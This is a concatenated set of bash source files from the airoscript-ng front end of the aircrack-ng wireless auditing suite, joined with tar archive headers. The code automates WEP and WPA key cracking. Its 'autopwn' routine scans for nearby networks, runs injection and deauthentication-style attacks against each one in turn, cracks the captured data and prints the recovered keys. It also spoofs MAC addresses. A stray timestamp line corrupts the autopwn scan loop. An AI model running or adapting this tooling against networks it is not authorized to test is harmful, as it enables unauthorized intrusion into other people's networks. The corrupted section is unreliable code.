Network SSID $Host_SSID

" echo "

Network MAC $Host_MAC

" echo "

Network channel $Host_CHAN

" echo "

Network encription $Host_ENC

" echo "

Network speed $Host_SPEED

" echo "

Network key $key" } report_mode(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] || { error "${mark} Couldn't crack network"; return; } key=`cat $DUMP_PATH/$Host_MAC.key` echo -e "Network, Mac, Channel, Encription, Speed, key\n$Host_SSID, $Host_MAC, $Host_CHAN, $Host_ENC, $Host_SPEED, $key" > ${report_file}_standard.csv } kstatsmenu(){ $IVSTOOLS --convert $DUMP_PATH/$Host_MAC.cap $DUMP_PATH/$Host_MAC.ivs &> /dev/null && $KSTATS $DUMP_PATH/$Host_MAC.ivs `cat $DUMP_PATH/$Host_MAC.key` &> $DUMP_PATH/$Host_MAC.kstats [[ $1 == "" ]] && less $DUMP_PATH/$Host_MAC.kstats } _airgraph(){ if [[ "$Host_MAC" != "" ]]; then read -p $"Enter format (CPG|CAPR) (CAPR by default): " g [[ $g != "CPG" ]] && g="CAPR" export wait_for_execute=1; AUTO=1; execute $"Generating graphics" $AIRGRAPH -i $DUMP_PATH/$Host_MAC-01.csv -o $DUMP_PATH/$Host_MAC.png -g $g; export wait_for_execute=0; AUTO=0; read -p $"Do you want to launch a browser? [y|N] " yn # Didn't like it. [[ $yn == "y" ]] && x-www-browser $DUMP_PATH/$Host_MAC.png else $clear; echo $"Error: You have to scan for targets first"; fi } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/crack/0000755000000000000000000000000012660222377023062 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/crack/main0000644000000000000000000001145212271675067023742 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. #This is crack function, for WEP encryption: crack_wep(){ if [ "$AUTO" == 1 ]; then execute $'Cracking wep\n' "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap" return fi while true; do [[ $1 ]] && choice=$1 || mkmenu $"WEP Cracking Options" $"aircrack-ng defaults" $"aircrack-ng Korek" $"aircrack-ng interactive" $"Return to main menu" case $choice in 1 ) execute $"Cracking wep, default options" crack "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-*.cap $crack_extra_opts $writekey"; $clear; break ;; 2 ) execute $"Cracking wep, Korek" crack "$AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-*.cap -K $crack_extra_opts $writekey" ; $clear; break ;; 3 ) single_question "Insert Fudge Factor: "; FUDGE_FACTOR="$ans"; single_question $"Type encryption size (64,128...): "; ENC_SIZE="$ans"; execute $"Cracking wep, manual options" crack "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGE_FACTOR\ -n $ENC_SIZE -0 -s $DUMP_PATH/$Host_MAC-*.cap -l $DUMP_PATH/$Host_MAC.key $crack_extra_opts $writekey" & $clear; break ;; 4 ) break ;; * ) echo $"Unknown response. Try again" ;; esac done } crack_wpa(){ while true; do [[ $1 ]] && { choice=$1 } || { mkmenu $"WPA Cracking Options" \ $"Standard" \ $"Use precomputed pmk database" \ $"Return to main menu" } case $choice in 1) if [[ $2 ]]; then execute $"Cracking WPA" crack "$AIRCRACK -a 2\ -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap\ -w $2 $writekey -l $DUMP_PATH/$Host_MAC.key" ; $clear; else if [ ! -e $WORDLIST ]; then [[ $pipe ]] && { markwarn $"Cracking with stdin entered data by $pipe" execute $"Cracking WPA" crack "$pipe $AIRCRACK -a 2\ -l $DUMP_PATH/$Host_MAC.key -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap \ -w -" ; $clear; } || { specialwarn $"Sorry, you cant crack wpa without a dictionary on $WORDLIST"; sleep 3; } else execute $"Cracking WPA" crack "$AIRCRACK -a 2\ -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap\ -w $WORDLIST $writekey -l $DUMP_PATH/$Host_MAC.key" ; $clear; fi fi break ;; 2) $clear; read -p $"Enter Database location [$db_location]" db_location_; [[ $db_location ]] && db_location=db_location_; execute $"Cracking WPA with pmk database" crack "$pipe $AIRCRACK -b $Host_MAC -s -l $DUMP_PATH/$Host_MAC.key $DUMP_PATH/$Host_MAC-01.cap -r $db_location $writekey"; break;; 3 ) break ;; * ) echo $"Unknown response. Try again" ;; esac done } selectcracking(){ if [ "$Host_ENC" = "OPN" ] || [ "$Host_ENC" = "" ] || [ "$Host_ENC" = " OPN " ]; then $clear && error $"Network not encrypted or no network selected " else if [ "$Host_ENC" = " WEP " ] || [ "$Host_ENC" = "WEP" ]; then crack_wep $@ else crack_wpa $@; fi fi check_function report_mode || source $path/reporting report_mode # If cracking finished, will print out the key. [[ -e $DUMP_PATH/$Host_MAC.key ]] && { key=`cat $DUMP_PATH/$Host_MAC.key` info "${mark}Network key:\"${key}\"" } } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/autocrack0000644000000000000000000001553612201462251023674 0ustar rootroot# Autocrack functions file for airoscript. # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # FUCKING UNPOLISHED, but... it seems to work. source $path/attacks/others source $path/attacks/injection source $path/attacks/wpa source $path/attacks/auth source $path/attacks/wep source $path/crack/main autopwn(){ func=$1; shift; autopwn_$func $@; } autopwn_setvars(){ attack_functions_wep=(fakeauto fakeinteractive chopchop caffelate hirte arpreplay_auto arpreplay_interactive fragmentation chopchopclient pskarp) attack_functions_wpa=(handshake) F=0; export AUTO=$1; export QUIET=1; export INTERACTIVE=0; next=0; count=0; export writekey="-l $DUMP_PATH/$Host_MAC.key" [[ $1 == 1 ]] && export ENCRYPT=""; } autopwn_scan(){ launch_counter $time_to_scan & choosescan # Choose scan in auto auto auto mode. sleep $time_to_scan && killall -2 "airodump-ng"; reload_config while read line; do ⮂ 17:43:43 ⮂ 2013-08-10 [[ $line =~ ^Station\ MAC,(.*) ]] && next=0; [[ $next == 1 ]] && echo $line; [[ $line =~ ^BSSID,(.*) ]] && next=1; done < ${DUMP_PATH}/dump-01.csv | tac > ${DUMP_PATH}/dump-02.csv filter_ssid } autopwn_selectap(){ export AUTO=2; selectAp; sleep 1 } autopwn_crack(){ check_function Crack_with_dictionary_generator && { export wait_for_execute=1; AUTO=1; Crack_with_dictionary_generator autocrack } || { export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0; } } count_aps(){ a=($(wc -l $DUMP_PATH/dump-02.csv)); echo ${a[0]}; } # benchmarks shows this is a little more efficent than using cut. autopwn_runner(){ autopwn setvars 1 autopwn scan && MAX_TARGETS=$(count_aps); echo; tag; warn "${mark}Networks detected $MAX_TARGETS"; sleep 1 for i in `seq 1 $MAX_TARGETS`; do echo autopwn selectap if [ "$Host_SSID" != "" ]; then autopwn network; else tag; warn "${mark}Couldn't find essid, trying with next network."; fi done autopwn print_cracked_networks } autopwn_print_cracked_networks(){ [[ $DUMP_PATH/*.key ]] && { tag; warn ${mark}"Cracked networks:" for file in $DUMP_PATH/*.key; do echo "\t${mark}$file : `cat $file`" done } } autopwn_finish(){ check_function doexit || source $path/internal/exit; [[ $options_autoconfigure ]] && { configure; doexit killme; } || { read -p "Press c to configure, q to quit, n to next network and any key to get back to main menu" -s -n1 ans [[ "$ans" == "c" ]] && { configure; return 1; } [[ $ans == "n" ]] && return 0 [[ $ans == "q" ]] && { warn "${mark}Exiting..." doexit killme ; exit; pkill -9 airoscript-ng; killall -9 airoscript-ng } return 1 } } autopwn_failed_cracking(){ warn "${mark}Network NOT cracked. Something failed." [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && warn "${mark}Most probable cause is that network's key is not in the dictionary" } autopwn_network(){ autopwn setvars 2 [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { enc=wpa; attack_functions=${attack_functions_wpa[@]}; min_ivs=10; } || { enc=wep; attack_functions=${attack_functions_wep} } for i in ${attack_functions[@]}; do tag; echo "${mark}Attack $count. Using $i in $Host_MAC" { ${enc}_attacks $i & cleanp & get_min_ivs; } &> /dev/null [[ $enc == wpa ]] || { tag; warn "${mark}Needed ivs: $min_ivs" } while [ "1" ]; do sleep 5 autopwn finished && { # We have enough ivs echo; tag; warn "${mark}Trying to crack network, we have enough ivs or handshakes."; autopwn crack && autopwn_print_crack_status autopwn finish && break || { break; mainmenu; } } || { # We don't have enough ivs autopwn print_capture_status && { echo; break; } || status=$? } [[ $status == 20 ]] && break done [[ $status == 20 ]] && { status=0; break; } count=$(( $count + 1 )) done cleanautovars clear=$oldclear; } autopwn_print_crack_status(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] && \ warn "${mark}Network cracked, password is `cat $DUMP_PATH/$Host_MAC.key`" || \ autopwn failed_cracking } autopwn_print_capture_status(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { specialwarn "\r\t${mark}Current Handshakes: $handshakes. Press a to go to next attack, m for menu, for next network" ; } || { specialwarn "\r\t${mark}Current IVS: `check_all_ivs`. Press a to go to next attack, m for menu, n for next network" ; } read -t1 -n1 -p" " ans [[ $ans == "m" ]] && { cleanautovars; $clear; mainmenu; ans="a"; } [[ $ans == "k" ]] && return 20 [[ $ans == "a" ]] } check_all_ivs(){ while IFS=, read -a line; do [[ ${line[0]} == "${Host_MAC}" ]] && echo ${line[10]} ; done < ${DUMP_PATH}/${Host_MAC}-01.csv; } get_min_ivs(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { min_ivs=10; return; } check_function Crack_with_dictionary_generator && { Crack_with_dictionary_generator return_ivs; a=$? } || { a=255 } [[ "$a" == 255 ]] && min_ivs=$autopwn_min_ivs || min_ivs=$a } get_handshake_number(){ while read -a line; do [[ ${line[@]} =~ (.*)handshake(.*) ]] && echo ${line[-2]/(/}; done < <( aircrack-ng ${DUMP_PATH}/${Host_MAC}-01.cap & sleep 0.5 && kill $! ) } check_if_handshake(){ export handshakes=$(get_handshake_number); [[ $handshakes == "" ]] && handshakes=0 (( $handshakes > 0 )) && return 0 || return 1 } autopwn_finished(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { check_if_handshake && { tag; warn "${mark}Got WPA handshake ($handshakes eapol packets)" return 0 } || { return 1; } } || { get_min_ivs; ivs=`check_all_ivs`; [[ $ivs == "" ]] && ivs=0; (( $ivs > $min_ivs )) && return 0 || return 1 } } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/menu0000644000000000000000000001325312320564216022664 0ustar rootroot# Funcion file used by airoscript # Copyright (C) 2010-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. mainmenu(){ $clear [[ $TERMINAL == "airoscript_quiet" ]] && { [[ $notification != "" ]] && notify $notification; mkmenu $"Main Menu" $"Attack - Attack target" $"Crack - Get target key" $"Select - Reselect target" $"Others - Various utilities" $"Autopwn- Automatic cracking" "Window - Window list" $"Exit - Quits" window=1; } || { [[ $notification != "" ]] && notify $notification; mkmenu $"Main Menu" $"Attack - Attack target" $"Crack - Get target key" $"Select - Reselect target" $"Others - Various utilities" $"Autopwn- Automatic cracking" $"Exit - Quits" } for choix in ${choice[*]}; do case "$choix" in 1) menu_attack;; 2) if [ x$interactive == x0 ]; then auto; else menu_crack; fi ;; 3) select_ap;; 4) menu_extra;; 5) check_function autopwn || source $path/autocrack; autopwn runner;; 6) [[ $window ]] && { menu_windows; } || { check_function doexit || source $path/internal/exit; doexit; } ;; 7) check_function doexit || source $path/internal/exit; doexit;; *) $clear && markwarn $"ERROR: Wrong number entered";; esac done mainmenu } menu_windows(){ cd $DUMP_PATH/Terminals clear; windows=(*) mkmenu "Window list" * "Back to main menu" [[ $choice == ${#windows} ]] && return; echo; clear; notify "Press ctrl + c to return to airoscript" tail_launched=1; tail -f "${windows[$choice - 1]}" tail_launched=0; cd - } menu_attack(){ monmode &>/dev/null if [[ "$Host_ENC" =~ (.*)"WEP"(.*) ]]; then attack_wep elif [[ "$Host_ENC" =~ (.*)"WPA"(.*) ]]; then attack_wpa else attack_opn; fi } menu_crack(){ check_function crack_wep || source $path/crack/main [[ ! -e $DUMP_PATH/$Host_MAC-01.cap ]] && { error $"You have no IVS, please attack first." ; return; } while true; do mkmenu $"WEP/WPA Cracking Options" $"Crack with manual dictionary" $"Standard aircrack-ng" $"Return to menu" case $choice in 1 ) export crack_extra_opts=" -w $WORDLIST"; selectcracking; break ;; 2 ) selectcracking ; break ;; 3 ) $clear; break;; * ) echo $"Unknown response. Try again" ;; esac done } menu_type(){ if [ "$AUTO" == 1 ]; then ENCRYPT="$1"; choosescan; return; fi if [ "$AUTO" == 2 ]; then ENCRYPT="$1"; choosescan; return; fi while true; do echo mkmenu $"Select encryption" "No filter" "OPN (open)" "WEP" "WPA" "WPA1" "WPA2" $"Return to main menu" case $choice in 1 ) ENCRYPT="" ; choosescan; break ;; 2 ) ENCRYPT="OPN" ; choosescan; break ;; 3 ) ENCRYPT="WEP" ; choosescan; break ;; 4 ) ENCRYPT="WPA" ; choosescan; break ;; 5 ) ENCRYPT="WPA1" ; choosescan; break ;; 6 ) ENCRYPT="WPA2" ; choosescan; break ;; 7 ) break;; * ) echo $"Unknown response. Try again" ;; esac done } choosescan(){ if [ "$AUTO" == 1 ]; then Scan; return; fi if [ "$AUTO" == 2 ]; then Scan; return; fi while true; do mkmenu $"Channel" $"Channel Hoping" $"Specific Channel" case $choice in 1 ) Scan 1 ;break;; 2 ) Scanchan;break;; * ) echo $"Unknown response. Try again" ;; esac done } select_ap(){ check_function select_target || source $path/internal/scansel if [ -e $DUMP_PATH/dump-01.csv ]; then while read line; do [[ $line =~ ^Station\ MAC,(.*) ]] && next=0; [[ $next == 1 ]] && echo $line; [[ $line =~ ^BSSID,(.*) ]] && next=1; done < ${DUMP_PATH}/dump-01.csv | tac > ${DUMP_PATH}/dump-02.csv filter_ssid selectAp; $clear if [ "$Host_SSID" = $'\r' ]; then blankssid; elif [ "$Host_SSID" = "No SSID has been detected" ]; then blankssid; fi select_target; target else $clear && markwarn $'ERROR: You have to scan for targets first'; fi } menu_extra(){ check_function menu_options || source $path/attacks/others while true; do mkmenu $"Extra tools" $"Airoscript Options" $"Advanced tools" $"External plugins" $"Return to main menu" case $choice in 1) menu_options; $clear; break;; 2) othertmenu; $clear; break;; 3) menu_plugins; $clear; break;; 4) $clear;break ;; * ) echo $"Unknown response. Try again" ;; esac done } menu_plugins(){ a_menu=( "${p_menu[@]}" ); a_menu+=("Return to main menu"); mkmenu "External plugins" "${a_menu[@]}" ${p_menu[$choice - 1]/ /_} || { $clear; warn "Wrong option, try again"; menu_plugins; } } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/internal/0000755000000000000000000000000012660222377023613 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/internal/startup0000644000000000000000000002535012271675067025253 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_cardctl(){ if [ `uname -r|cut -d . -f 2` == "6" ]; then CARDCTL="pccardctl" else CARDCTL="cardctl"; fi } _askinterface(){ askinterface && checkforcemac $startup_mac_set } bsd_interfaces(){ for i in $( ifconfig | awk '/flags/ { print $1}'|cut -d: -f1 ); do { ifconfig $i | grep "wlan" &>/dev/null && echo $i ; } ; done } linux_interfaces() { while read r; do [[ $r =~ (.*)IEEE\ 802.11(.*) ]] && { iw=${BASH_REMATCH[1]}; [[ $r =~ (.*)Mode:Monitor(.*) ]] || echo $iw; }; done < <(iwconfig 2>/dev/null) } all_interfaces() { while read r; do [[ $r =~ (^[0-9]+)(.*):(.*):(.*) ]] && echo ${BASH_REMATCH[3]}; done < <(ip link 2>/dev/null) } setinterface(){ help_fifo "${mark} ${red}Welcome to airoscript-ng${end}, I'll be your guide from now on\n"\ "First, we have to setup a wireless interface to work with.\n" \ "Be careful, using this interface with airoscript-ng will disrupt any traffic going trough it." \ "If you're using it to connect to the internet, you'll be most likely disconnected " declare -a INTERFACES [[ "$wifi" != "" ]] && [[ "$1" == "start" ]] && [[ "$set_wifi_by_args" == 1 ]] || { if [ "$1" == "" ] || [[ "$1" == 1 ]] || [ "$1" == "start" ] ; then if [ "$show_only_wireless_extensions" == 1 ]; then [[ -e /bsd ]] && { INTERFACES=( $(bsd_interfaces) ) } || { INTERFACES=( $(linux_interfaces) ) } else INTERFACES=( $(all_interfaces) ) fi fi _askinterface [[ "$DEFAULT_MONITOR_MODE" == 1 ]] &&{ ac="start"; } || { single_question 'Should I put it in monitor mode? (Y/n) '; [[ "$ans" != n ]] && ac="start" || ac="stop" } { guess_idata $ac; testmac; } &>/dev/null } export iwifi=$wifi } askinterface(){ [[ ${#INTERFACES[@]} == 1 ]] && { warn "${mark}Only one capable wireless interface found. Selecting" ${INTERFACES[0]}; wificard=${INTERFACES[0]}; auto_fake_mac=1 return; } mkmenu "Interface" ${INTERFACES[@]} export wificard="${INTERFACES[$choice - 1]}" [[ $wificard == "" ]] && { $clear warn "${mark}Error: That interface does not exists" askinterface } } checkforcemac() { if [ "$force_mac_address" == "1" ]; then $clear && warn "${mark}Warn: Not checking mac" else export mac=$(get_current_mac); if [ "$FAKE_MAC" != "$mac" ]; then wichchangemac_startup &>/dev/null; fi fi } guess_idata(){ declare -a monitorlines line while read -a line; do [[ ${line[@]} =~ ^$wificard ]] && { phy=${line[-1]}; [[ ${line[@]} =~ "- ${phy}" ]] && { monitorlines=("${line[@]}") getNextLine=1 } } || { [[ $getNextLine == 1 ]] && { export wifi=${line[-1]/)/} getNextLine=0 } } done < <(airmon-ng start $wificard) export iwifi=${wifi} export fisical=${monitorlines[-1]} export DRIVER=${monitorlines[-3]} export TYPE=${monitorlines[1]} } wichchangemac_startup(){ change_mac $wificard $FAKE_MAC change_mac $wifi $FAKE_MAC change_mac $iwifi $FAKE_MAC } wichchangemac(){ while true; do [[ "$1" != "" ]] && { startup_mac_set=$1; choice=$1; } || { mkmenu "Select MAC options" "Change MAC to FAKEMAC" "Change MAC to CLIENTMAC" "Use real MAC" "Manual Mac Input" } case $choice in 1) change_mac $wifi $FAKE_MAC; break ;; 2) change_mac $wifi $Client_MAC; break ;; 3) export FAKE_MAC=$(get_current_mac); change_mac $wifi $FAKE_MAC; break ;; 4) single_question "MAC: "; Manual_MAC="$ans"; change_mac $wifi $Manual_MAC; break ;; *) echo $"Unknown response. Try again" ;; esac done } is_number(){ return $(expr "$1 + 1" &> /dev/null); } # Wrapper to make interface creation easier. selectap_wrapper(){ while [ "1" ]; do mkmenueline $max r; echo " Rescan targets"; echo -en "$separator_bl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_br"; special_single_question "Select Target: "; choice=$ans; is_number $choice && break done } valid_mac(){ (( ${#1} >= 17 )) && return 0 || return 1; } conn_crack(){ wpa_passphrase $Host_SSID $(cat $DUMP_PATH/digenpy__dic) | wpa_supplicant -i$wificard -c/dev/stdin -f $DUMP_PATH/wpa_sup.log count=0; while [ 1 ]; do grep "completed" $DUMP_PATH/wpa_sup.log && break sleep 1 count=$(( count + 1 )) (( $count > 15 )) && break; done pkill -9 -f wpa grep "completed" $DUMP_PATH/wpa_sup.log && return 0 return 1 } # Some various functions that didn't know where to put them sort_aircrack_csv() { sort -t, -k+9 -n <(sed -n "/Key/,/Station/p" $FILE|head -n-2|tail -n+2)|tac } get_aps_in_file(){ sort -t, -k+9 -n <(sed -n "/Key/,/Station/p" $1|head -n-2|tail -n+2)| wc -l } selectAp(){ k=0; i=0; DUMP_FILE=$DUMP_PATH/dump-02.csv [[ $2 ]] && DUMP_FILE=${2} if [ "$AUTO" == 2 ]; then choice=$CURRENT CURRENT=$(( $CURRENT + 1 )) else res=(); title=$1; shift; line=0; max=$((`tput cols` - 10)); echo mkmenuheader "Detected access points" $max echo -en "$separator_tl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_tr"; fi while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do $(valid_mac "$MAC") && { k=$(($k+1)) if [ "$AUTO" != 2 ]; then res+=( "$k" " $MAC " "$CHANNEL" "$PRIVACY" "$POWER" "$IDLENGTH" "$ESSID"); mkmenueline $max $k echo -e " $MAC | $CHANNEL | $PRIVACY | $POWER | $IDLENGTH | $ESSID" fi aidlenght=$IDLENGTH assid[$k]=$ESSID; achannel[$k]=$CHANNEL; amac[$k]=$MAC; aprivacy[$k]=$PRIVACY; aspeed[$k]=$SPEED; apower[$k]=$POWER } done < $DUMP_FILE if [ "$AUTO" != 2 ]; then selectap_wrapper; fi if [ "$choice" != "r" ] ; then [[ ${amac[$choice]} ]] || { echo "Wrong option, scanning for targets again"; autoscan; } idlenght=${aidlenght[$choice]} ssid=${assid[$choice]} channel=${achannel[$choice]} mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} tag; echo "${mark}Target network is $Host_SSID $Host_MAC" else autoscan; fi [[ $report_mode_enabled == 1 ]] && report_mode } launch_counter(){ o=$2; [[ $o == "" ]] && o="targets" for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )) sleep 1; echo -ne "\r${mark}Scanning for $o: [$a/100 completed]"; done echo } autoscan(){ launch_counter $time_to_scan & export OLDAUTO=$AUTO OLDINTERACTIVE=$INTERACTIVE; F=0; export AUTO=1; export QUIET=1; export INTERACTIVE=0 menu_type "${1}" && sleep $time_to_scan && killall -2 "airodump-ng"; AUTO=$OLDAUTO [[ $AUTO != 2 ]] && select_ap cleanautovars } Scan(){ help_fifo "${mark}${red}Scanning${end}\nWe're scanning for near networks \n"\ "You'll be asked to select one of them, ${red}they're ordered according to their signal strenght${end}"\ "The strongest is the lastest, your network should be near the end" export SCAN=1 rm -rf $DUMP_PATH/dump* &>/dev/null [[ $SILENT_SCAN != 1 ]] && { markwarn $"Interface used is" ": $wifi ($iwifi) for $wificard " markwarn $"Interface type is" ": $TYPE ($DRIVER)" } [[ ! $1 ]] && { export QUIET=1; export NOTITLE=1; } execute "" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/dump --encrypt $ENCRYPT -a $wifi wait_for_execute=0 export SCAN=0 } Host_ssidinput(){ single_question $"Please enter Host SSID"; Host_SSID="$ans"; $clear } setaircrackpaths(){ AIRMON="${SBINDIR}airmon-ng" AIRODUMP="${SBINDIR}airodump-ng" AIREPLAY="${SBINDIR}aireplay-ng --ignore-negative-one" AIRCRACK="${BINDIR}aircrack-ng" ARPFORGE="${BINDIR}packetforge-ng" WESSIDE="${SBINDIR}wesside-ng" AIRSERV="${SBINDIR}airserv-ng" TKIPTUN="${SBINDIR}tkiptun-ng" IVSTOOLS="${SBINDIR}ivstools" BUDDY="${SBINDIR}buddy-ng" EASSIDE="${SBINDIR}easside-ng" MACCHANGER="${BINDIR}macchanger" AIRGRAPH="${BINDIR}airgraph-ng" AIRDECLOAK="${BINDIR}airdecloak-ng" KSTATS=$BINDIR"kstats" iwconfig="iwconfig" } confwarn(){ $'Youre going to use a config file on your home or current dir. This may be harmfull, for example, if your user have been compromised, and youre getting rights trought sudo, someone can modify your config file to do something malicious as root. Be sure to check your home config file before using it. Defaults on /etc/airoscript-ng.conf should be ok so you can safely remove your ~/.airoscript-ng.conf\n\n Do you really want to do it (yes/No): ' } get_current_mac(){ while read line; do [[ $line =~ ^$wificard\S*(.*)HWaddr\S*(.*) ]] && echo ${BASH_REMATCH[2]}; done < <( ifconfig ) } testmac(){ if [ "$TYPE" = "Atherosmadwifi-ng" ]; then FAKE_MAC=$(get_current_mac) $"Changed fake_mac :" " $FAKE_MAC" return fi [[ $auto_fake_mac == 1 ]] && { [[ $set_wifi_by_args != 1 ]] && { markwarn $"Automatically setting fake mac"; wichchangemac 1 ; }; } } filter_ssid(){ [[ -n "$filter_ssid_" ]] && { echo; echo; tag; warn "${mark}Filtering essid to $filter_ssid_ " while read line; do [[ $line =~ (.*)${filter_ssid_}(.*) ]] && echo $line >> $DUMP_PATH/dump-02.csv done <<< $DUMP_PATH/dump-01.csv } } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/internal/exit0000644000000000000000000000377612200126436024511 0ustar rootroot# Exit and cleanup file used by airoscript # Copyright (C) 2010-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software delete_vinterfaces(){ while read interface; do [[ $interface =~ ^$MON_PREFIX(.*)\S*(.*) ]] && { iw dev ${MON_PREFIX}${BASH_REMATCH[1]} del } done < <($AIRMON) } deconfigure(){ airmon-ng stop $wifi &> /dev/null ; delete_vinterfaces &>/dev/null; } delete_dpath(){ [[ $DUMP_PATH =~ /tmp/(.*) ]] && rm -r $DUMP_PATH &>/dev/null; } doexit(){ check_function make_report || source $path/reporting [[ -e $DUMP_PATH/$Host_MAC.key ]] && { yesno "Create a full report?" && { warn "${mark}Creating report"; make_report; yesno "Copy report to ~?" && { cp -f $DUMP_PATH/$Host_MAC.png $DUMP_PATH/$Host_MAC.report.html $DUMP_PATH/$Host_MAC.report.pdf $HOME/ &>/dev/null; } } } [[ $keep_exit_quiet == 0 ]] && { yesno "Stop monitor mode on $wifi and delete virtual interfaces? (Y/n) " && { warn "${mark}Cleaning interface"; deconfigure; } yesno 'Delete temporary data dir? (y/N) ' && { warn "${mark}Deleting $DUMP_PATH"; delete_dpath &>/dev/null; } } || { deconfigure; [[ $delete_files_on_exit == 1 ]] && delete_dpath &>/dev/null; } [[ "$1" == "killme" ]] && pkill air $$ || exit # Needed because of autopwn } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/internal/scansel0000644000000000000000000000773112200126436025163 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_function auth_attacks_deauth || source $path/attacks/auth Scanchan(){ export SCAN=1; # TODO Create a mkinfobox function. single_question ${mark}$"Enter channel (single, range, or comma-separated): " channel_number="$ans"; set -- ${channel_number} rm -rf $DUMP_PATH/dump* &>/dev/null; monmode $wifi $channel_number execute $"Scanning for targets on channel $channel_number" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/dump --channel $channel_number --encrypt $ENCRYPT -a $wifi export SCAN=0 } select_target(){ if [ "$AUTO" == 2 ]; then return; fi help_fifo $"${mark}${red}Select a client${end}\n"\ "At this step, you have to choose how to look for target clients\n"\ "Target clients will be used later, to make attacks directed at them\n"\ "This step is not obligatory, but might come handy if the network has some clients on it"\ "${red} If you're about to attack, attacks will be performed differently if you choose not to select a client (most of the times with a fake auth), so, don't worry if there are none ${end}" while true; do echo "Selecting client" mkmenu $"Client Selection"\ $"Select client"\ $"Enable dynamic mode (ask for client in each attack)"\ $"Manually enter client MAC" "No select client" case $choice in 1 ) 